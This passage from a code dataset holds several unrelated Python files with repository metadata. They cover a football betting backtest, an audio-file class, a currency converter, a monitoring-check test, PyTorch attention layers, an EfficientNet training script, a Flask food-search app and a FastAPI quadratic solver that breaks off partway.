('Bielefeld', 'Augsburg'), ('FC Koeln', 'Leverkusen'), ('Hoffenheim', 'RB Lipsk')]\n\n# matches = [('RB Salzburg', 'LASK Linz', '3-1'),\n# ('SK Rapid Wiedeń', 'Swarovski Tirol', '0-3'),\n# ('Wolfsberger AC', 'FK Austria Wiedeń', '3-2'),\n# ('SV Ried', 'SC Rheindorf Altach', '1-4'),\n# ('SKN Sankt Pölten', 'Hartberg', '2-2'),\n# ('SK Sturm Graz', 'Admira', '3-0')]\n#\n# matches = [('Celtic Glasgow FC', 'Kilmarnock FC', '2-0'),\n# ('Dundee United FC', 'Glasgow Rangers FC', '1-2'),\n# ('Saint Johnstone FC', 'Livingston FC', '1-2'),\n# ('Motherwell FC', 'Saint Mirren FC', '0-1'),\n# ('Hamilton Academicals FC',\t'Hibernian FC', '0-4'),\n# ('Aberdeen FC', 'Ross County', '2-0')]\n\n\nmatches = []\nwith open('premierleague_scores.csv', newline='') as csvfile:\n _reader = csv.reader(csvfile, delimiter=';')\n next(_reader)\n for row in _reader:\n matches.append([(row[0], row[1], int(row[2]), int(row[3]))])\n\ncounts_102 = [0, 0, 0]\ncounts_numgoals = [0,0,0,0,0]\ncounts_intervals = [0,0,0,0]\ncounts_singles = [0,0,0,0]\ncounts_exacts = [0,0,0,0,0,0,0,0]\n\ncounts_12 = [0,0,0,0]\nfor m in matches:\n scores = []\n scores_numgoals = defaultdict(float)\n scores_102 = defaultdict(float)\n scores_intervals = defaultdict(float)\n scores_teams = defaultdict(int)\n scores_1 = defaultdict(float)\n scores_2 = defaultdict(float)\n scores_12 = defaultdict(float)\n for i in range(15):\n for j in range(15):\n p = find_prob(m[0][0], m[0][1], i)*find_prob(m[0][1], m[0][0], j)\n if i != j:\n scores_12[12] += p\n else:\n scores_12[0] += p\n t = 0.745\n if scores_12[12] >= t and m[0][2] != m[0][3]:\n counts_12[0] += 1\n elif scores_12[12] < t and m[0][2] != m[0][3]:\n counts_12[1] += 1\n elif scores_12[12] < t and m[0][2] == m[0][3]:\n counts_12[2] += 1\n else:\n counts_12[3] += 1\n # scores.append(((i, j), p))\n # scores_numgoals[(i+j)] += p\n # if i+j == 0: scores_intervals['0'] += p\n # elif i+j == 1: scores_intervals['1'] += p\n # elif i+j == 2: scores_intervals['2'] += p\n # else: scores_intervals['3+'] += p\n # if i > j: scores_102[1] += p\n # elif i == j: scores_102[0] += p\n # else: scores_102[2] += p\n # if i == 0: scores_1['0'] += p\n # elif i == 1: scores_1['1'] += p\n # elif i == 2: scores_1['2'] += p\n # else: scores_1['3+'] += p\n # if j == 0: scores_2['0'] += p\n # elif j == 1: scores_2['1'] += p\n # elif j == 2: scores_2['2'] += p\n # else: scores_2['3+'] += p\n # _scores_102 = [scores_102[1], scores_102[0], scores_102[2]]\n # _scores_102.sort(reverse=True)\n # _scores_numgoals = [scores_numgoals[0], scores_numgoals[1], scores_numgoals[2],\n # scores_numgoals[3], scores_numgoals[4], scores_numgoals[5],\n # scores_numgoals[6], scores_numgoals[7]]\n # _scores_numgoals.sort(reverse=True)\n # _scores_intervals = [scores_intervals['0'], scores_intervals['1'], scores_intervals['2'], scores_intervals['3+']]\n # _scores_intervals.sort(reverse=True)\n # _scores_1 = [scores_1['0'], scores_1['1'], scores_1['2'], scores_1['3+']]\n # _scores_2 = [scores_2['0'], scores_2['1'], scores_2['2'], scores_2['3+']]\n # _scores_1.sort(reverse=True)\n # _scores_2.sort(reverse=True)\n # if max(_scores_102) > 0.37 and max(_scores_102) < 0.9:\n # if int(m[0][2]) > int(m[0][3]):\n # counts_102[_scores_102.index(scores_102[1])] += 1\n # elif int(m[0][2]) == int(m[0][3]):\n # counts_102[_scores_102.index(scores_102[0])] += 1\n # else:\n # counts_102[_scores_102.index(scores_102[2])] += 1\n # try:\n # counts_numgoals[_scores_numgoals.index(scores_numgoals[int(m[0][2]) + int(m[0][3])])] += 1\n # except: pass\n # if int(m[0][2]) + int(m[0][3]) == 0:\n # counts_intervals[_scores_intervals.index(scores_intervals['0'])] += 1\n # elif int(m[0][2]) + int(m[0][3]) == 1:\n # counts_intervals[_scores_intervals.index(scores_intervals['1'])] += 1\n # elif int(m[0][2]) + int(m[0][3]) == 2:\n # counts_intervals[_scores_intervals.index(scores_intervals['2'])] += 1\n # else:\n # counts_intervals[_scores_intervals.index(scores_intervals['3+'])] += 1\n # if int(m[0][2]) == 0:\n # counts_singles[_scores_1.index(scores_1['0'])] += 1\n # if int(m[0][2]) == 1:\n # counts_singles[_scores_1.index(scores_1['1'])] += 1\n # if int(m[0][2]) == 2:\n # counts_singles[_scores_1.index(scores_1['2'])] += 1\n # if int(m[0][2]) >= 3:\n # counts_singles[_scores_1.index(scores_1['3+'])] += 1\n # if int(m[0][3]) == 0:\n # counts_singles[_scores_2.index(scores_2['0'])] += 1\n # if int(m[0][3]) == 1:\n # counts_singles[_scores_2.index(scores_2['1'])] += 1\n # if int(m[0][3]) == 2:\n # counts_singles[_scores_2.index(scores_2['2'])] += 1\n # if int(m[0][3]) >= 3:\n # counts_singles[_scores_2.index(scores_2['3+'])] += 1\n # scores.sort(key= lambda x: -x[1])\n # for i in range(8):\n # if scores[i][0] == (int(m[0][2]), int(m[0][3])):\n # counts_exacts[i] += 1\n # break\n\n\n # scores.sort(key= lambda x: -x[1])\n # print(m)\n # print('match score:')\n # #print(sum(map(lambda x: x[1], scores)))\n # for s in scores[:7]:\n # print(s)\n # print('sum of goals:')\n # for i in range(7):\n # print(i, scores_uo[i])\n # print('p1: ' + str(scores_102[1]) + ', p0: ' + str(scores_102[0]) + ', p2: ' + str(scores_102[2]))\n # print('********************')\n\n# print(counts_102)\n# print(counts_numgoals)\n# print(counts_intervals)\n# print(counts_singles)\n# print(counts_exacts)\n\nprint(counts_12)\nimport statsmodels.stats.proportion as sm\nprint(counts_12[0]/(counts_12[0]+counts_12[3]))\nprint(sm.proportion_confint(counts_12[0], counts_12[0]+counts_12[3]))","repo_name":"BG1992/Betting","sub_path":"bipoisson_bt.py","file_name":"bipoisson_bt.py","file_ext":"py","file_size_in_byte":9347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"24871469990","text":"#!/usr/bin/env python\n# coding=utf-8\n\n\"\"\"\nA class representing an audio file.\n\"\"\"\n\nimport os\n\nimport aeneas.globalfunctions as gf\nfrom aeneas.ffprobewrapper import FFPROBEWrapper\nfrom aeneas.logger import Logger\n\n__author__ = \"Alberto Pettarin\"\n__copyright__ = \"\"\"\n Copyright 2012-2013, Alberto Pettarin (www.albertopettarin.it)\n Copyright 2013-2015, ReadBeyond Srl (www.readbeyond.it)\n \"\"\"\n__license__ = \"GNU AGPL v3\"\n__version__ = \"1.0.0\"\n__email__ = \"aeneas@readbeyond.it\"\n__status__ = \"Production\"\n\nclass AudioFile(object):\n \"\"\"\n A class representing an audio file.\n\n The properties of the audio file\n (length, format, etc.)\n will be set by the constructor\n invoking an audio file probe.\n (Currently,\n :class:`aeneas.ffprobewrapper.FFPROBEWrapper`\n )\n\n :param file_path: the path to the audio file\n :type file_path: string (path)\n :param logger: the logger object\n :type logger: :class:`aeneas.logger.Logger`\n \"\"\"\n\n TAG = \"AudioFile\"\n\n def __init__(self, file_path, logger=None):\n self.logger = logger\n if self.logger == None:\n self.logger = Logger()\n self.file_path = file_path\n self.file_size = None\n self.audio_length = None\n self.audio_format = None\n self.audio_sample_rate = None\n self.audio_channels = None\n self._read_properties()\n\n def _log(self, message, severity=Logger.DEBUG):\n self.logger.log(message, severity, self.TAG)\n\n def __str__(self):\n accumulator = \"\"\n accumulator += \"File path: %s\\n\" % self.file_path\n accumulator += \"File size (bytes): %s\\n\" % gf.safe_int(self.file_size)\n accumulator += \"Audio length (s): %s\\n\" % gf.safe_float(self.audio_length)\n accumulator += \"Audio format: %s\\n\" % self.audio_format\n accumulator += \"Audio sample rate: %s\\n\" % gf.safe_int(self.audio_sample_rate)\n accumulator += \"Audio channels: %s\" % gf.safe_int(self.audio_channels)\n return accumulator\n\n @property\n def file_path(self):\n \"\"\"\n The path of the audio file.\n\n :rtype: string\n \"\"\"\n return self.__file_path\n @file_path.setter\n def file_path(self, file_path):\n self.__file_path = file_path\n\n @property\n def file_size(self):\n \"\"\"\n The size, in bytes, of the audio file.\n\n :rtype: int\n \"\"\"\n return self.__file_size\n @file_size.setter\n def file_size(self, file_size):\n self.__file_size = file_size\n\n @property\n def audio_length(self):\n \"\"\"\n The length, in seconds, of the audio file.\n\n :rtype: float\n \"\"\"\n return self.__audio_length\n @audio_length.setter\n def audio_length(self, audio_length):\n self.__audio_length = audio_length\n\n @property\n def audio_format(self):\n \"\"\"\n The format of the audio file.\n\n :rtype: string\n \"\"\"\n return self.__audio_format\n @audio_format.setter\n def audio_format(self, audio_format):\n self.__audio_format = audio_format\n\n @property\n def audio_sample_rate(self):\n \"\"\"\n The sample rate of the audio file.\n\n :rtype: int\n \"\"\"\n return self.__audio_sample_rate\n @audio_sample_rate.setter\n def audio_sample_rate(self, audio_sample_rate):\n self.__audio_sample_rate = audio_sample_rate\n\n @property\n def audio_channels(self):\n \"\"\"\n The number of channels of the audio file.\n\n :rtype: int\n \"\"\"\n return self.__audio_channels\n @audio_channels.setter\n def audio_channels(self, audio_channels):\n self.__audio_channels = audio_channels\n\n def _read_properties(self):\n \"\"\"\n Populate this object by reading\n the audio properties of the file at the given path.\n\n Currently this function uses\n :class:`aeneas.ffprobewrapper.FFPROBEWrapper`\n to get the audio file properties.\n \"\"\"\n\n self._log(\"Reading properties\")\n\n # check the file can be read\n if not os.path.isfile(self.file_path):\n msg = \"File '%s' cannot be read\" % self.file_path\n self._log(msg, Logger.CRITICAL)\n raise OSError(msg)\n\n # get the file size\n self._log(\"Getting file size for '%s'\" % self.file_path)\n self.file_size = os.path.getsize(self.file_path)\n self._log(\"File size for '%s' is '%d'\" % (self.file_path, self.file_size))\n\n # get the audio properties\n self._log(\"Reading properties with FFPROBEWrapper...\")\n prober = FFPROBEWrapper(logger=self.logger)\n properties = prober.read_properties(self.file_path)\n self._log(\"Reading properties with FFPROBEWrapper... done\")\n\n # save relevant properties in results inside the audiofile object\n self.audio_length = gf.safe_float(properties[FFPROBEWrapper.STDOUT_DURATION])\n self._log(\"Stored audio_length: '%s'\" % self.audio_length)\n self.audio_format = properties[FFPROBEWrapper.STDOUT_CODEC_NAME]\n self._log(\"Stored audio_format: '%s'\" % self.audio_format)\n self.audio_sample_rate = gf.safe_int(properties[FFPROBEWrapper.STDOUT_SAMPLE_RATE])\n self._log(\"Stored audio_sample_rate: '%s'\" % self.audio_sample_rate)\n self.audio_channels = gf.safe_int(properties[FFPROBEWrapper.STDOUT_CHANNELS])\n self._log(\"Stored audio_channels: '%s'\" % self.audio_channels)\n\n\n\n","repo_name":"garyfeng/aeneas","sub_path":"aeneas/audiofile.py","file_name":"audiofile.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"66"}
+{"seq_id":"30068461293","text":"'''\nEin einfacher Währungsumrechner. Musterlösung\nMaximilian\n29.01.2023\n'''\n\n#Funktion, die das Umrechnen übernimmt\ndef usd(zahl):\n erg = zahl * 1.0869\n return erg\n\nwhile True:\n #prüft, ob der Nutzer eine Fehleingabe getätigt hat\n try:\n print(\"---------------------------------------------------------------------\")\n zahl = float(input(\"| Wie viel Euro willst du in USD umrechnen? \"))\n print(\"---------------------------------------------------------------------\")\n print(f\"|Originale Eingabe: {zahl:^20.2f}€ | \" , f\" Umgerechnet in Dollar: {usd(zahl):^20.2f}$ | \")\n print(\"---------------------------------------------------------------------\")\n break\n #wenn es ein ValueError ist\n except ValueError:\n print(\"---------------------------------------------------------------------\")\n print(\"Du musst eine Zahl eingeben!\")\n continue\n #Bei jedem anderen Error\n except:\n print(\"Unbekannter Error!\")\n continue\n","repo_name":"Walnusskeim/Python_2.Kl","sub_path":"Python HÜ/Aufgabenstellung_für_Mitschüler.py","file_name":"Aufgabenstellung_für_Mitschüler.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33551050892","text":"# pylint: disable=protected-access,unused-variable\nimport datetime\n\nimport pytest\n\nfrom taxi.util import dates\n\nfrom scripts.monrun.checks import too_many_expired\n\nNOW = datetime.datetime(2019, 5, 30, 14)\n\n\n@pytest.mark.parametrize(\n 'script_docs',\n [\n [],\n [{}],\n [\n {\n 'reason': 'expired',\n 'status': 'failed',\n 'updated': datetime.datetime(2019, 5, 20, 00),\n },\n {\n 'reason': 'expired',\n 'status': 'failed',\n 'updated': datetime.datetime(2019, 5, 30, 00),\n },\n ],\n ],\n)\n@pytest.mark.config(\n SCRIPTS_MONITORING_CONFIGS={\n 'too_many_expired': {'newer_then_delay': 1, 'threshold': 2},\n },\n)\n@pytest.mark.now(NOW.isoformat())\nasync def test_check_ok(scripts_tasks_app, setup_scripts, script_docs):\n await setup_scripts(script_docs)\n\n result = await too_many_expired._check(scripts_tasks_app, None)\n assert result == '0; OK'\n\n\n@pytest.mark.usefixtures('setup_many_scripts')\n@pytest.mark.now(NOW.isoformat())\n@pytest.mark.config(\n SCRIPTS_MONITORING_CONFIGS={\n 'too_many_expired': {'newer_then_delay': 5, 'threshold': 1},\n },\n)\nasync def test_check_warn(scripts_tasks_app):\n result = await too_many_expired._check(scripts_tasks_app, None)\n msg = (\n '1; WARN: 1 scripts are expired and '\n f'newer then {dates.timestring(NOW-datetime.timedelta(days=5))}'\n )\n assert result == msg\n","repo_name":"Alexander-Berg/2022-tests-examples-2","sub_path":"Taxi/test_scripts/monrun/checks/test_too_many_expired.py","file_name":"test_too_many_expired.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"32533410368","text":"import torch\nimport torch.nn as nn\nimport numpy as np\n\n#============================================================Freeze============================================================\ndef freeze_net(module):\n for p in module.parameters():\n p.requires_grad = False\n\ndef unfreeze_net(module):\n for p in module.parameters():\n p.requires_grad = True\n\ndef freeze_params(params):\n for p in params:\n p.requires_grad = False\n\ndef unfreeze_params(params):\n for p in params:\n p.requires_grad = True\n\n#============================================================MLP============================================================\nclass MLP(nn.Module):\n def __init__(self, in_dim, h_dim, out_dim, dropout, layer_norm=True):\n super().__init__()\n self.layer1 = nn.Linear(in_dim, h_dim)\n self.layerNorm = nn.LayerNorm(h_dim) if layer_norm else None\n self.dropout = nn.Dropout(dropout)\n self.layer2 = nn.Linear(h_dim, out_dim)\n self.activate = nn.Tanh()\n \n def forward(self, input):\n output = self.layer1(self.dropout(input))\n output = self.activate(output)\n if self.layerNorm:\n output = self.layerNorm(output)\n return self.layer2(output)\n\n#============================================================Embeddings============================================================\nclass CustomizedEmbedding(nn.Module):\n def __init__(self, concept_num, concept_in_dim, concept_out_dim, use_contextualized=False,\n pretrained_concept_emb=None, freeze_ent_emb=True, scale=1.0, init_range=0.02):\n super().__init__()\n self.scale = scale\n self.use_contextualized = use_contextualized\n if not use_contextualized:\n self.emb = nn.Embedding(concept_num, concept_in_dim, padding_idx=0)\n if pretrained_concept_emb is not None:\n self.emb.weight.data.fill_(0)\n self.emb.weight.data[:concept_num].copy_(pretrained_concept_emb)\n else:\n self.emb.weight.data.normal_(mean=0.0, std=init_range)\n if freeze_ent_emb:\n freeze_net(self.emb)\n\n if concept_in_dim != concept_out_dim:\n self.cpt_transform = nn.Linear(concept_in_dim, concept_out_dim)\n self.activation = nn.GELU()\n\n def forward(self, index, contextualized_emb=None):\n \"\"\"\n index: size (bz, a)\n contextualized_emb: size (bz, b, emb_size) (optional)\n \"\"\"\n if contextualized_emb is not None:\n assert index.size(0) == contextualized_emb.size(0)\n if hasattr(self, 'cpt_transform'):\n contextualized_emb = self.activation(self.cpt_transform(contextualized_emb * self.scale))\n else:\n contextualized_emb = contextualized_emb * self.scale\n emb_dim = contextualized_emb.size(-1)\n return contextualized_emb.gather(1, index.unsqueeze(-1).expand(-1, -1, emb_dim))\n else:\n if hasattr(self, 'cpt_transform'):\n return self.activation(self.cpt_transform(self.emb(index) * self.scale))\n else:\n return self.emb(index) * self.scale\n\n#============================================================Pooling Methods============================================================\nclass MaxPoolLayer(nn.Module):\n \"\"\"\n A layer that performs max pooling along the sequence dimension\n \"\"\"\n def __init__(self):\n super().__init__()\n\n def forward(self, inputs, mask_or_lengths):\n \"\"\"\n inputs: tensor of shape (batch_size, seq_len, hidden_size)\n mask_or_lengths: tensor of shape (batch_size) or (batch_size, seq_len)\n\n returns: tensor of shape (batch_size, hidden_size)\n \"\"\"\n bs, sl, _ = inputs.size()\n if len(mask_or_lengths.size()) == 1:\n mask = (torch.arange(sl, device=inputs.device).unsqueeze(0).expand(bs, sl) >= mask_or_lengths.unsqueeze(1))\n else:\n mask = mask_or_lengths\n masked_inputs = inputs.masked_fill(mask.unsqueeze(-1).expand_as(inputs), float('-inf'))\n max_pooled = masked_inputs.max(1)[0]\n return max_pooled\n\nclass MeanPoolLayer(nn.Module):\n \"\"\"\n A layer that performs mean pooling along the sequence dimension\n \"\"\"\n\n def __init__(self):\n super().__init__()\n\n def forward(self, inputs, mask_or_lengths):\n \"\"\"\n inputs: tensor of shape (batch_size, seq_len, hidden_size)\n mask_or_lengths: tensor of shape (batch_size) or (batch_size, seq_len)\n\n returns: tensor of shape (batch_size, hidden_size)\n \"\"\"\n bs, sl, _ = inputs.size()\n if len(mask_or_lengths.size()) == 1:\n mask = (torch.arange(sl, device=inputs.device).unsqueeze(0).expand(bs, sl) >= mask_or_lengths.unsqueeze(1))\n lengths = mask_or_lengths.float()\n else:\n mask, lengths = mask_or_lengths, (1 - mask_or_lengths.float()).sum(1)\n masked_inputs = inputs.masked_fill(mask.unsqueeze(-1).expand_as(inputs), 0.0)\n mean_pooled = masked_inputs.sum(1) / lengths.unsqueeze(-1)\n return mean_pooled\n\n\nclass MatrixVectorScaledDotProductAttention(nn.Module):\n def __init__(self, temperature, attn_dropout=0.1):\n super().__init__()\n self.temperature = temperature\n self.dropout = nn.Dropout(attn_dropout)\n self.softmax = nn.Softmax(dim=1)\n def forward(self, q, k, v, mask=None):\n \"\"\"\n q: tensor of shape (n*b, d_k)\n k: tensor of shape (n*b, l, d_k)\n v: tensor of shape (n*b, l, d_v)\n returns: tensor of shape (n*b, d_v), tensor of shape(n*b, l)\n \"\"\"\n attn = (q.unsqueeze(1) * k).sum(2) # (n*b, 1, d_k)*(n*b, l, d_k) -> (n*b, l)\n attn = attn / self.temperature\n if mask is not None:\n attn = attn.masked_fill(mask, -np.inf)\n attn = self.softmax(attn)\n attn = self.dropout(attn) #(n*b, l)\n output = (attn.unsqueeze(2) * v).sum(1) #(n*b, l, 1)*(n*b, l, d_v) -> (n*b, d_v)\n return output, attn\n\n\nclass AttPoolLayer(nn.Module):\n def __init__(self, d_q, d_k, dropout=0.1):\n super().__init__()\n self.w_qs = nn.Linear(d_q, d_k)\n nn.init.normal_(self.w_qs.weight, mean=0, std=np.sqrt(2.0 / (d_q + d_k)))\n self.attention = MatrixVectorScaledDotProductAttention(temperature=np.power(d_k, 0.5))\n self.dropout = nn.Dropout(dropout)\n def forward(self, q, k, mask=None):\n \"\"\"\n q: tensor of shape (b, d_q)\n k: tensor of shape (b, l, d_k)\n mask: tensor of shape (b, l) (optional, default None)\n returns: tensor of shape (b, d_k)\n \"\"\"\n qs = self.w_qs(q) # (b, d_k)\n output, attn = self.attention(qs, k, k, mask=mask)\n output = self.dropout(output)\n return output, attn\n\nclass MultiheadAttPoolLayer(nn.Module):\n\n def __init__(self, n_head, d_q_original, d_k_original, dropout=0.1):\n super().__init__()\n assert d_k_original % n_head == 0 # make sure the output dimension equals to d_k_origin\n self.n_head = n_head\n self.d_k = d_k_original // n_head\n self.d_v = d_k_original // n_head\n\n self.w_qs = nn.Linear(d_q_original, n_head * self.d_k)\n self.w_ks = nn.Linear(d_k_original, n_head * self.d_k)\n self.w_vs = nn.Linear(d_k_original, n_head * self.d_v)\n\n nn.init.normal_(self.w_qs.weight, mean=0, std=np.sqrt(2.0 / (d_q_original + self.d_k)))\n nn.init.normal_(self.w_ks.weight, mean=0, std=np.sqrt(2.0 / (d_k_original + self.d_k)))\n nn.init.normal_(self.w_vs.weight, mean=0, std=np.sqrt(2.0 / (d_k_original + self.d_v)))\n\n self.attention = MatrixVectorScaledDotProductAttention(temperature=np.power(self.d_k, 0.5))\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, q, k, mask=None):\n \"\"\"\n q: tensor of shape (b, d_q_original)\n k: tensor of shape (b, l, d_k_original)\n mask: tensor of shape (b, l) (optional, default None)\n returns: tensor of shape (b, n*d_v)\n \"\"\"\n n_head, d_k, d_v = self.n_head, self.d_k, self.d_v #n_head must be divided by d_k -> n_head = 2or4\n\n bs, _ = q.size()\n bs, len_k, _ = k.size()\n\n qs = self.w_qs(q).view(bs, n_head, d_k) # (b, d_q_ori) -> (b, n_head*d_k) -> (b, n_head, d_k)\n ks = self.w_ks(k).view(bs, len_k, n_head, d_k) # (b, l, d_k_ori) -> (b, l, n_head*d_k) -> (b, l, n_head, d_k)\n vs = self.w_vs(k).view(bs, len_k, n_head, d_v) # (b, l, n_head, d_v)\n\n qs = qs.permute(1, 0, 2).contiguous().view(n_head * bs, d_k) #(n_head * bs, d_k)\n ks = ks.permute(2, 0, 1, 3).contiguous().view(n_head * bs, len_k, d_k) #(n_head * bs, len_k, d_k)\n vs = vs.permute(2, 0, 1, 3).contiguous().view(n_head * bs, len_k, d_v) #(n_head * bs, len_k, d_v)\n\n if mask is not None:\n mask = mask.bool() ##\n mask = ~mask ##\n mask = mask.repeat(n_head, 1) #(n_head*bs, len_k)\n output, attn = self.attention(qs, ks, vs, mask=mask)# (n*b, d_v), (n*b, l)\n\n output = output.view(n_head, bs, d_v)\n output = output.permute(1, 0, 2).contiguous().view(bs, n_head * d_v) # (b, n*dv)\n output = self.dropout(output)\n return output, attn\n\nclass BilinearAttentionLayer(nn.Module):\n def __init__(self, query_dim, value_dim):\n super().__init__()\n self.linear = nn.Linear(value_dim, query_dim, bias=False)\n self.softmax = nn.Softmax(1)\n def forward(self, query, value, node_mask=None):\n \"\"\"\n query: tensor of shape (batch_size, query_dim)\n value: tensor of shape (batch_size, seq_len, value_dim)\n node_mask: tensor of shape (batch_size, seq_len)\n\n returns: tensor of shape (batch_size, value_dim)\n \"\"\"\n attn = self.linear(value).bmm(query.unsqueeze(-1)) #(bs, seq_len, query_dim) * (bs, query_dim, 1) -> (bs, seq_len, 1)\n attn = self.softmax(attn.squeeze(-1)) #(bs, seq_len)\n if node_mask is not None:\n attn = attn * node_mask\n attn = attn / attn.sum(1, keepdim=True)\n pooled = attn.unsqueeze(1).bmm(value).squeeze(1) #(bs, 1, seq_len) * (bs, seq_len, value_dim) -> (bs,1,value_dim) -> (bs, value_dim)\n return pooled, attn","repo_name":"Anni-Zou/Decker","sub_path":"model/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":10349,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"66"}
+{"seq_id":"19831273407","text":"from efficientnet_pytorch import EfficientNet\nfrom transformers import get_cosine_schedule_with_warmup\nfrom label_smoothing import apply_label_smoothing\nfrom data import test, submission\nfrom dataloader import loader_train, loader_valid, loader_test, loader_tta\nfrom train import train_val\nimport torch\nimport torch.nn as nn\nimport random\nimport numpy as np\nimport os\n\n# 시드값 고정\nseed = 10\nos.environ['PYTHONHASHSEED'] = str(seed)\nrandom.seed(seed)\nnp.random.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\ntorch.cuda.manual_seed_all(seed)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\ntorch.backends.cudnn.enabled = False\n\n# GPU\ndevice = torch.device('cuda:0')\n\n# 하이퍼파라미터\nbatch_size = 32\nepochs = 3\nalpha = 0.001\nthreshold = 0.999\ntarget = ['healthy', 'multiple_diseases', 'rust', 'scab']\n\n# 모델 생성\nmodel = EfficientNet.from_pretrained('efficientnet-b0', num_classes=4)\nmodel = model.to(device)\n\n# 손실함수, 옵티마이저, 스케줄러\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.AdamW(model.parameters(), lr=0.00006, weight_decay=0.0001)\nscheduler = get_cosine_schedule_with_warmup(optimizer, \n num_warmup_steps=len(loader_train)*5,\n num_training_steps=len(loader_train)*epochs)\n\n# 모델 훈련 및 성능 검증\ntrain_val(model, epochs, loader_train, loader_valid, optimizer, criterion, scheduler)\n\n# 예측(1)\nmodel.eval()\npreds = np.zeros((len(test), 4))\nwith torch.no_grad():\n for i, images in enumerate(loader_test):\n images = images.to(device)\n outputs = model(images)\n preds_part = torch.softmax(outputs.cpu(), dim=1).squeeze().numpy()\n preds[i*batch_size:(i+1)*batch_size] += preds_part\n\n# 결과 제출(1)\nsubmission_test = submission.copy()\nsubmission_test[['healthy', 'multiple_diseases', 'rust', 'scab']] = preds\nsubmission_test.to_csv('submission_test.csv', index=False)\nsubmission_test_ls = submission_test.copy()\nsubmission_test_ls[target] = apply_label_smoothing(submission_test_ls, target, alpha, threshold)\nsubmission_test_ls.to_csv('submission_test_ls.csv', index=False)\n\n# 예측(2)\nnum_tta = 5\npreds_tta = np.zeros((len(test), 4))\nfor _ in range(num_tta):\n with torch.no_grad():\n for i, images in enumerate(loader_tta):\n images = images.to(device)\n outputs = model(images)\n preds_part = torch.softmax(outputs.cpu(), dim=1).squeeze().numpy()\n preds_tta[i*batch_size:(i+1)*batch_size] += preds_part\npreds_tta /= num_tta\n\n# 결과 제출(2)\nsubmission_tta = submission.copy()\nsubmission_tta[['healthy', 'multiple_diseases', 'rust', 'scab']] = preds_tta\nsubmission_tta.to_csv('submission_tta.csv', index=False)\nsubmission_tta_ls = submission_tta.copy()\nsubmission_tta_ls[target] = apply_label_smoothing(submission_tta_ls, target, alpha, threshold)\nsubmission_tta_ls.to_csv('submission_tta_ls.csv', index=False)","repo_name":"chaiminwoo0223/Data-Science","sub_path":"09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"29379382682","text":"from flask import Flask, render_template, redirect, jsonify\nfrom food import Food\nfrom foodProducer import FoodProducer\nfrom flask_cors import CORS\nimport requests\nimport urllib.parse\n\napp = Flask(__name__,static_url_path='', template_folder=\"../FrontEnd\", static_folder=\"../FrontEnd\")\nCORS(app)\n\n\n# path = \"35.203.43.136\"\n# local = \"127.0.0.1\"\n\n\n@app.route('/main')\ndef hello_world():\n return 'test!'\n\n\n# @app.route('//')\n# def render_static(page_name):\n# print(\"Getting: \" + page_name)\n# return render_template('%s' % page_name)\n\n\n@app.route(\"/\")\ndef main_page():\n return render_template('index.html')\n\n\n@app.route(\"/api/search/\")\ndef search_food(food):\n food = urllib.parse.unquote_plus(urllib.parse.unquote(food))\n result = foodset.search_food(food)\n print(\"Foodset search: \" + str(result))\n return jsonify(result)\n\n\n@app.route(\"/api/food/\")\ndef get_food(id: str):\n food = foodset.get_food(int(id))\n if food is None:\n return {}\n return food.to_json()\n\n\n@app.route(\"/api/link/\")\ndef does_site_load(id: str):\n f = foodset.get_food(int(id))\n req = requests.get(f.recipe_url)\n if \"X-Frame-Options\" not in req.headers:\n return \"True\"\n elif req.headers[\"X-Frame-Options\"].strip().lower() in [\"deny\", \"sameorigin\"]:\n return \"False\"\n return \"True\"\n\n\nif __name__ == '__main__':\n foodset = FoodProducer()\n app.run(host='0.0.0.0', debug=True, port=80)\n","repo_name":"SachaGoldman/FeelingHungry","sub_path":"BackEnd/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"1707871992","text":"from fastapi import FastAPI, Request, Form\r\nfrom fastapi.templating import Jinja2Templates\r\nfrom fastapi.staticfiles import StaticFiles\r\n\r\nimport io, base64\r\nimport numpy as np\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\n\r\napp = FastAPI()\r\napp.mount('/static', StaticFiles(directory='static'), name='static')\r\ntemplates = Jinja2Templates(directory='templates')\r\n\r\ndef __solve(a: int, b: int, c: int):\r\n roots = np.roots([a, b, c])\r\n roots = roots[~np.iscomplex(roots)]\r\n roots = np.unique(roots).tolist()\r\n roots.sort()\r\n return roots\r\n\r\ndef __quadeqeval(a: int, b: int, c: int, x: np.array):\r\n return a*x**2 + b*x + c\r\n\r\ndef __create_func_label(a: int, b: int, c: int):\r\n label = str()\r\n if a != 0:\r\n label += f'{a}x^2'\r\n if b > 0:\r\n label += f'+{b}x'\r\n elif b < 0:\r\n label += f'{b}x'\r\n if c > 0:\r\n label += f'+{c}'\r\n elif c < 0:\r\n label += f'{c}'\r\n \r\n return label\r\n\r\n@app.get('/solve')\r\nasync def solve(a, b, c):\r\n coeffs = tuple(map(int, (a, b, c)))\r\n if coeffs[0] == coeffs[1] == coeffs[2] == 0:\r\n return {'message': 'One of the coefficients must be non-zero'}\r\n roots = __solve(*coeffs)\r\n return {'roots': roots}\r\n\r\n@app.get('/main')\r\nasync def home(request: Request):\r\n return templates.TemplateResponse('main.html',\r\n {'request': request})\r\n\r\n@app.post('/show_plot')\r\nasync def show_plot(request: Request,\r\n a_coef: int = Form(...),\r\n b_coef: int = Form(...),\r\n c_coef: int = Form(...)):\r\n if a_coef == b_coef == c_coef == 0:\r\n return {'message': 'One of the coefficients must be non-zero'}\r\n roots = __solve(*(a_coef, 